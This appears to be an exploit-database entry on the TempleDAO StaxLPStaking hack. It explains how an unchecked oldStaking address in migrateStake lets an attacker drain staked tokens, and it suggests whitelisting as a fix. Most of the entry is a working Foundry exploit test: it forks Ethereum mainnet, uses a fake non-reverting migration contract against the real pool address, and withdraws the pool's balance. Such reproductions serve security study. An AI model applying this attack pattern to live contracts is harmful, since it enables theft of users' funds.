Network
ethereum
Categories
access control description code
Step-by-step
Create a contract that does not revert when receiving a call to migrateWithdraw
Call migrateStake(evilContract, MAX_UINT256) and get a lot of tokens.
Detailed Description
The protocol wanted to allow users to migrate stake from an old contract to a new one. To do that, they provided a migrateStake function:
function migrateStake ( address oldStaking , uint256 amount ) external {
StaxLPStaking (oldStaking). migrateWithdraw ( msg.sender , amount);
_applyStake ( msg.sender , amount);
}
An OK implementation of migrateWithdraw should transfer amount from msg.sender to the current contract and revert if it wasn’t able to. _applyStake would later add amount to msg.sender.
Unfortunately, it is trivial to pass an evil oldStaking contract that never reverts.
Possible mitigations
Store a list of valid oldStaking contract addresses and whitelist them (needs an owner if the list needs to be dynamic)
File Icon TempleDao.attack.sol solidity Copy to Clipboard Icon Checkmark Icon // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17 ;
import "forge-std/Test.sol" ;
import { TestHarness } from "../../TestHarness.sol" ;
import { IERC20 } from "../../interfaces/IERC20.sol" ;
import { TokenBalanceTracker } from "../../modules/TokenBalanceTracker.sol" ;
interface IStax {
function migrateStake ( address oldStaking , uint256 amount ) external ;
function withdrawAll ( bool claim ) external ;
function balanceOf ( address ) external returns ( uint256 );
}
contract Exploit_TempleDAO is TestHarness , TokenBalanceTracker {
IERC20 internal staxLpToken = IERC20 ( 0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9 );
IStax internal stax = IStax ( 0xd2869042E12a3506100af1D192b5b04D65137941 );
function setUp () external {
cheat. createSelectFork (vm. envString ( "RPC_URL" ), 15_725_066 );
cheat. deal ( address ( this ), 0 ether );
addTokenToTracker ( address (staxLpToken));
updateBalanceTracker ( address ( this ));
updateBalanceTracker ( address (stax));
}
function test_attack () external {
console. log ( "------- INITIAL STATUS -------" );
console. log ( "Attacker balances" );
logBalances ( address ( this ));
console. log ( "Stax Pool balances" );
logBalances ( address (stax));
uint256 balanceBefore = stax. balanceOf ( address ( this ));
console. log ( "------- STEP 1: MIGRATE -------" );
address migrationTarget = address ( new FakeMigrate{salt : bytes32 ( 0 )}());
uint256 staxBalance = staxLpToken. balanceOf ( address (stax));
stax. migrateStake (migrationTarget, staxBalance);
console. log ( "Attacker balances" );
logBalances ( address ( this ));
console. log ( "Stax Pool balances" );
logBalances ( address (stax));
console. log ( "------- STEP 2: WITHDRAW -------" );
stax. withdrawAll ( false );
console. log ( "Attacker balances" );
logBalances ( address ( this ));
console. log ( "Stax Pool balances" );
logBalances ( address (stax));
uint256 balanceAfter = stax. balanceOf ( address ( this ));
assertGe (balanceAfter, balanceBefore);
}
}
contract FakeMigrate {
// Migration callback
function migrateWithdraw ( address staker , uint256 amount ) external {}
}